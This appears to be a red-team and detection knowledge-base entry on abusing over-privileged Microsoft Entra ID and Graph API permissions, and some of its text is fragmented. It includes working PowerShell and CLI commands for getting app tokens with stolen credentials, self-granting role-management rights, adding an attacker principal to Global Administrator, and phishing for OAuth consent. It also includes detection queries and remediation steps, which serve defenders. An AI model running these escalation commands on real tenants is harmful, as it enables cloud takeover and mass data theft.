| Attribute | Details | |—|—| | Technique ID | MISCONFIG-005 | | MITRE ATT&CK v18.1 | Abuse Elevation Control Mechanism (T1548) | | Tactic | Privilege Escalation | | Platforms | M365, Entra ID (Microsoft Entra ID / Azure AD), Microsoft Graph, Azure Resource Manager | | Severity | Critical | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | Microsoft Entra ID and Microsoft 365 API permission model (app-only and delegated) as of 2026 | | Patched In | N/A – configuration / governance issue, mitigated via least privilege, consent policies, and RBAC controls | | Author | SERVTEP – Artur Pchelnikau |
AppRoleAssignment.ReadWrite.All, RoleManagement.ReadWrite.Directory, Directory.ReadWrite.All, or wide delegated scopes like Mail.ReadWrite, Files.Read.All, and offline_access that persist beyond user password changes. An attacker who compromises such an app (certificate, client secret, or OAuth consent) can silently escalate privileges, bypass MFA, and operate at tenant‑wide scope with minimal user interaction.| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark (Azure/M365) | CIS AZURE 1.x / M365 1.x | Requires least privilege for app registrations, restricted Graph scopes, and review of enterprise application permissions. | | DISA STIG | APP3510 / IAIA‑1 | Application privilege management and identity assurance; restricts excessive API permissions for service accounts. | | CISA SCuBA | M365 App Governance | SCuBA guidance requires tight governance of OAuth apps and Graph API permissions, with app governance monitoring. | | NIST 800‑53 Rev5 | AC‑3, AC‑6, AC‑2 | Access enforcement and least privilege; management of accounts and service principals controlling programmatic access to data. | | GDPR | Art. 25, Art. 32 | Data protection by design/default and security of processing – over‑privileged apps increase risk of unlawful disclosure and loss of confidentiality. | | DORA | Art. 9, Art. 11 | ICT risk management and third‑party risk – SaaS/OAuth apps with wide permissions create systemic ICT concentration and data‑access risk. | | NIS2 | Art. 21 | Requires technical measures to manage cyber risk, including robust identity and access management for APIs and SaaS. | | ISO 27001:2022 | A.5.18, A.8.2, A.8.16 | Access rights provisioning, identity governance, and monitoring of programmatic access channels (APIs, service principals). | | ISO 27005 | “Compromise of Administration Interface” | Risk of losing control over tenant through misconfigured application permissions and service principals. |
Supported Versions:
Microsoft.Graph module 2.x+ for management of OAuth permissions and app role assignments.# List all service principals with high‑risk app-only Graph permissions
Connect-MgGraph -Scopes "Directory.Read.All, AppRoleAssignment.ReadWrite.All"
Select-MgProfile -Name beta
$highRiskScopes = @(
"AppRoleAssignment.ReadWrite.All",
"RoleManagement.ReadWrite.Directory",
"Directory.ReadWrite.All",
"Mail.ReadWrite",
"Files.Read.All",
"Directory.AccessAsUser.All"
)
Get-MgServicePrincipal -All | ForEach-Object {
$sp = $_
$appRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All -ErrorAction SilentlyContinue
foreach ($ar in $appRoles) {
if ($ar.PrincipalDisplayName -eq $sp.DisplayName) {
# Self-assigned app roles (app-only)
$role = $ar.AppRoleId
}
}
} | Out-Null
# Quick view of Graph app permissions granted to each SP
Get-MgServicePrincipal -All | Select-Object DisplayName,AppId,ServicePrincipalType,AccountEnabled,Tags
What to Look For:
AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory – can manage app role assignments and directory roles for all apps and principals, enabling silent Global Admin elevation.Mail.ReadWrite, Files.Read.All, Sites.Read.All, Directory.ReadWrite.All.WindowsAzureActiveDirectoryIntegratedApp with broad delegated scopes inherited from legacy admin consents.Version Note:
AzureAD module, equivalent enumeration uses Get-AzureADServicePrincipal and Get-AzureADServiceAppRoleAssignment. The Graph SDK is the strategic direction and provides richer metadata.Command (Legacy AzureAD Module):
Connect-AzureAD
Get-AzureADServicePrincipal -All $true |
Select DisplayName, AppId, ServicePrincipalType, AccountEnabled
Get-AzureADServiceAppRoleAssignment -All $true |
Select PrincipalDisplayName, ResourceDisplayName, Id
# List applications and permissions via Azure CLI (requires Azure CLI + "az login")
az ad sp list --all --query "[].{displayName:displayName, appId:appId, tags:tags}" -o table
# Inspect Graph service principal and its app roles
GRAPH_APPID="00000003-0000-0000-c000-000000000000" # Microsoft Graph
az ad sp show --id $GRAPH_APPID -o json > graph_sp.json
# List directory roles and assignments (to find apps with directory roles)
az role assignment list --all --query "[?principalType=='ServicePrincipal'].{principalName:principalName, roleDefinitionName:roleDefinitionName, scope:scope}" -o table
What to Look For:
Supported Versions: All Entra ID tenants using OAuth 2.0 client credentials for app‑only Graph access.
Objective: Locate a service principal that has high‑risk app‑only Graph permissions or directory roles that can be abused for privilege escalation.
Command (Graph PowerShell):
Connect-MgGraph -Scopes "Directory.Read.All, Application.Read.All, RoleManagement.Read.Directory"
Select-MgProfile -Name beta
# Find apps with high-risk app-only Graph permissions
$dangerousPermissions = @(
"AppRoleAssignment.ReadWrite.All",
"RoleManagement.ReadWrite.Directory",
"Directory.ReadWrite.All"
)
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$dangerousAppRoles = $graphSp.AppRoles | Where-Object { $_.Value -in $dangerousPermissions }
$dangerousAppRoles | Select-Object Value, Id
# Find SPs assigned these roles
Get-MgServicePrincipal -All | ForEach-Object {
$sp = $_
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All -ErrorAction SilentlyContinue
foreach ($assign in $assignments) {
if ($assign.AppRoleId -in $dangerousAppRoles.Id) {
[PSCustomObject]@{
ServicePrincipal = $sp.DisplayName
AppId = $sp.AppId
Resource = $assign.ResourceDisplayName
AppRoleId = $assign.AppRoleId
}
}
}
} | Format-Table -AutoSize
Expected Output: A table listing service principals where Resource = Microsoft Graph and AppRoleId matches one of the high‑risk permissions, along with the application’s display name and AppId.
What This Means:
OpSec & Evasion:
Troubleshooting:
Insufficient privileges to complete the operation
Directory.Read.All or Application.Read.All.References & Proofs:
AppRoleAssignment.ReadWrite.All and RoleManagement.ReadWrite.Directory).Objective: Obtain an app‑only access token using a stolen certificate or client secret and confirm scope/roles.
Command (PowerShell – Client Credentials with Certificate):
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$certThumb = "<thumbprint>" # From local cert store
$cert = Get-Item "Cert:\CurrentUser\My\$certThumb"
$token = Get-MgContext
# Or use MSAL if not using Graph SDK
Command (MSAL / Azure CLI – Pseudo):
az account get-access-token \
--tenant $tenantId \
--service-principal \
--username $appId \
--password $SP_SECRET \
--resource https://graph.microsoft.com
Expected Output: A valid OAuth 2.0 bearer token whose roles claim contains the app‑only Graph permissions, such as AppRoleAssignment.ReadWrite.All.
What This Means:
OpSec & Evasion:
Objective: Use AppRoleAssignment.ReadWrite.All and RoleManagement.ReadWrite.Directory to grant the compromised app or an attacker‑controlled principal a high‑privilege role (e.g., Global Administrator).
Command (Graph PowerShell – Assign RoleManagement.ReadWrite.Directory to self):
# Assumes context is already authenticated as the compromised SP
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$roleMgmtRole = $graphSp.AppRoles | Where-Object { $_.Value -eq "RoleManagement.ReadWrite.Directory" }
$params = @{
PrincipalId = (Get-MgContext).ClientId
ResourceId = $graphSp.Id
AppRoleId = $roleMgmtRole.Id
}
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId (Get-MgContext).ClientId -BodyParameter $params
Command (Assign Global Administrator to an Attacker Principal):
# Get the Global Administrator directory role
$gaRole = Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }
$attackerSp = Get-MgServicePrincipal -Filter "appId eq '<attacker-app-id>'"
$params = @{
DirectoryObjectId = $attackerSp.Id
}
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $gaRole.Id -BodyParameter $params
Expected Output: No error from Graph; subsequent calls show the attacker SP as a member of Global Administrator, and tenant‑wide powerful operations are now possible.
What This Means:
OpSec & Evasion:
Troubleshooting:
Insufficient privileges to complete the operation when calling New-MgDirectoryRoleMemberByRef.
RoleManagement.ReadWrite.Directory not actually granted to the attacking SP.Get-MgServicePrincipalAppRoleAssignment.References & Proofs:
Supported Versions: All Entra ID tenants that allow users or low‑privileged admins to grant consent to applications.
Objective: Trick a user into granting delegated permissions such as Mail.ReadWrite, Files.Read.All, offline_access, or Directory.AccessAsUser.All to a malicious multi‑tenant app.
High‑Risk Scopes:
Mail.ReadWrite, Mail.Send – read and send mail as user.Files.Read.All, Sites.Read.All – access all SharePoint/OneDrive files.offline_access – long‑lived refresh tokens, persistence beyond password resets.Expected Result:
Command (Example – read user mailbox via Graph):
GET https://graph.microsoft.com/v1.0/me/messages
Authorization: Bearer <access_token>
Expected Output: JSON response containing messages from the user mailbox; similar calls can list drive items, Teams messages, and contacts.
What This Means:
References & Proofs:
# Pseudocode based on Atomic Red Team style
# Add high-privilege API permission to an app registration
Connect-AzureAD
$app = Get-AzureADApplication -Filter "displayName eq 'AtomicTest-App'"
# Update app required resource access (dangerous scope)
# Remove the test application or revoke elevated permissions
Remove-AzureADApplication -ObjectId $app.ObjectId
Reference: [Atomic Red Team Azure AD index – discovery and account/permission tests][82] and ATT&CK technique entries for T1526/T1548.
Version: 2.x+ recommended. Minimum Version: 1.0.0 (older cmdlets, but security features mature in later versions). Supported Platforms: Windows, Linux, macOS with PowerShell 7+.
Version-Specific Notes:
Microsoft.Graph.Users, Microsoft.Graph.Applications, etc.).Installation:
Install-Module Microsoft.Graph -Scope CurrentUser
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Directory.Read.All, Application.Read.All, RoleManagement.Read.Directory"
Usage (List app permissions):
Get-MgServicePrincipal -All | Select DisplayName, AppId, ServicePrincipalType
Pen‑test and research toolkit for Entra ID abuse (token theft, app misuse, federation misconfigurations).
Installation (PowerShell):
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
Mail.ReadWrite)Connect-MgGraph -Scopes "Application.Read.All, Directory.Read.All"
Select-MgProfile -Name beta
Get-MgServicePrincipal -All |
Where-Object { $_.AppRoles -and ($_.AppRoles.Value -contains "Mail.ReadWrite") } |
Select DisplayName, AppId
Rule Configuration:
o365, azuread, or custom Azure AD audit log index.o365:management:activity, azure:monitor:aad (depending on ingestion).Operation, Workload, UserId, Target, ModifiedProperties.SPL Query:
index=o365 (Workload="AzureActiveDirectory") \
Operation IN ("Consent to application", "Add service principal")
| eval scopes = mvjoin('ModifiedProperties{}.NewValue', ",")
| search scopes="*Mail.ReadWrite*" OR scopes="*Files.Read.All*" OR scopes="*Directory.ReadWrite.All*"
| stats count values(scopes) AS scopes BY UserId, Target, Operation
| where count >= 1
What This Detects:
Mail.ReadWrite or Files.Read.All to applications, which are commonly abused in illicit consent and over‑permission scenarios.Manual Configuration Steps:
High-Risk OAuth Consents Granted.Number of Results > 0 and schedule every 15 minutes.UserId, Target, and scopes.Source: Microsoft illicit consent guidance and OAuth app governance best practices.
contains "[APPROVED]").Rule Configuration:
AuditLogs (Category: ApplicationManagement and DirectoryManagement).OperationName, InitiatedBy, TargetResources, Result, AdditionalDetails.KQL Query:
let HighRiskScopes = dynamic([
"AppRoleAssignment.ReadWrite.All",
"RoleManagement.ReadWrite.Directory",
"Directory.ReadWrite.All",
"Mail.ReadWrite",
"Files.Read.All"
]);
AuditLogs
| where Category in ("ApplicationManagement", "Consent")
| where OperationName in ("Add app role assignment to service principal",
"Update app role assignment to service principal",
"Consent to application")
| extend props = parse_json(tostring(TargetResources[0].modifiedProperties))
| mv-expand props
| extend name = tostring(props.displayName),
newValue = tostring(props.newValue)
| where name in ("RequiredResourceAccess", "Scopes", "appRoleAssignments")
| where HighRiskScopes has_any (split(newValue, " "))
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, newValue
What This Detects:
Manual Configuration Steps (Azure Portal):
High-Risk Graph Application Permissions Changes.Manual Configuration Steps (PowerShell):
Connect-AzAccount
$rg = "<ResourceGroupName>"
$ws = "<WorkspaceName>"
$kql = @"
<PASTE KQL QUERY HERE>
"@
New-AzSentinelAlertRule -ResourceGroupName $rg -WorkspaceName $ws `
-DisplayName "High-Risk Graph Application Permissions Changes" `
-Query $kql -Severity High -Enabled $true
Source:
Although this technique is primarily cloud‑native, Windows endpoints may provide supporting evidence:
Event ID: 4648 (A logon was attempted using explicit credentials)
Event ID: 4104 (PowerShell Script Block Logging)
Microsoft-Windows-PowerShell/Operational.Manual Configuration Steps (Group Policy – Enable Script Block Logging):
gpupdate /force.These events should be correlated with cloud audit events to identify suspicious automation executed from on‑prem admin hosts.
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server and client endpoints used for administration.
<!-- Detect PowerShell usage of Graph / AzureAD modules from admin hosts -->
<Sysmon schemaversion="4.82">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">Connect-MgGraph</CommandLine>
<CommandLine condition="contains">Connect-AzureAD</CommandLine>
<CommandLine condition="contains">Install-Module Microsoft.Graph</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-api-perms.xml and merge with your main Sysmon config.sysmon64.exe -accepteula -i sysmon-api-perms.xml.Alert Name: Suspicious application permissions granted or updated (exact wording may vary by product release).
Manual Configuration Steps (Enable Defender for Cloud & Cloud Apps):
Reference:
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Consent to application","Add service principal" `
-ResultSize 5000 |
Select-Object CreationDate, UserIds, Operations, AuditData
Consent to application, Add service principal.AzureActiveDirectory.AuditData JSON for Scope/Scopes and AppId to identify high‑risk permissions (e.g., Mail.ReadWrite, Files.Read.All).Manual Configuration Steps (Enable Unified Audit Log):
Search Audit Logs:
Manual Steps (Portal):
Manual Steps (Graph PowerShell):
Connect-MgGraph -Scopes "Directory.Read.All, Application.Read.All"
Get-MgServicePrincipal -All | Export-Csv .\SP_Permissions_Inventory.csv
Access Control & Policy Hardening
Conditional Access:
Manual Steps:
Secure Admin Access targeting admin roles.RBAC/ABAC:
# Ensure no apps have AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory
Connect-MgGraph -Scopes "Directory.Read.All, Application.Read.All"
Select-MgProfile -Name beta
$highRisk = @("AppRoleAssignment.ReadWrite.All", "RoleManagement.ReadWrite.Directory")
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$highRiskRoles = $graphSp.AppRoles | Where-Object { $_.Value -in $highRisk }
$findings = Get-MgServicePrincipal -All | ForEach-Object {
$sp = $_
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All -ErrorAction SilentlyContinue
foreach ($a in $assignments) {
if ($a.AppRoleId -in $highRiskRoles.Id) { $sp.DisplayName }
}
}
$findings | Sort-Object -Unique
Expected Output (If Secure):
What to Look For:
.ps1, .sh) automating app permission changes (e.g., Update-AppPermissions.ps1)./users, /messages, /drives endpoints.Add app role assignment to service principal, Consent to application, Update application.Command:
Connect-MgGraph -Scopes "Application.ReadWrite.All"
$sp = Get-MgServicePrincipal -Filter "appId eq '<suspicious-app-id>'"
Update-MgServicePrincipal -ServicePrincipalId $sp.Id -AccountEnabled:$false
Command:
# Export Azure AD audit logs for app changes
Get-AzureADAuditDirectoryLogs -Filter "activityDisplayName eq 'Add app role assignment to service principal'" |
Export-Csv .\AAD_AppRole_Changes.csv
Command:
# Remove Graph app role assignments from a compromised SP
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All
foreach ($a in $assignments) {
Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -AppRoleAssignmentId $a.Id
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-002 – Consent grant OAuth attacks | Attacker tricks user or admin into granting consent to malicious app. |
| 2 | Privilege Escalation | PE-ACCTMGMT-001 – App Registration Permissions Escalation | Compromised admin or app assigns high‑risk scopes or roles. |
| 3 | Current Step | MISCONFIG-005 – Insecure API Permissions | Misconfigured or over‑privileged application permissions enable tenant‑wide access. |
| 4 | Persistence | CA-TOKEN-005 – OAuth access token interception | Long‑lived refresh tokens keep access even after password resets. |
| 5 | Impact | DATA-EXFIL-XXX – Mass M365 data exfiltration | Attacker downloads mail and files across tenant via Graph. |
AppRoleAssignment.ReadWrite.All and escalated to Global Administrator by chaining additional Graph permissions.Mail.ReadWrite, Files.Read.All, and offline_access. Users were lured to consent screens through phishing emails.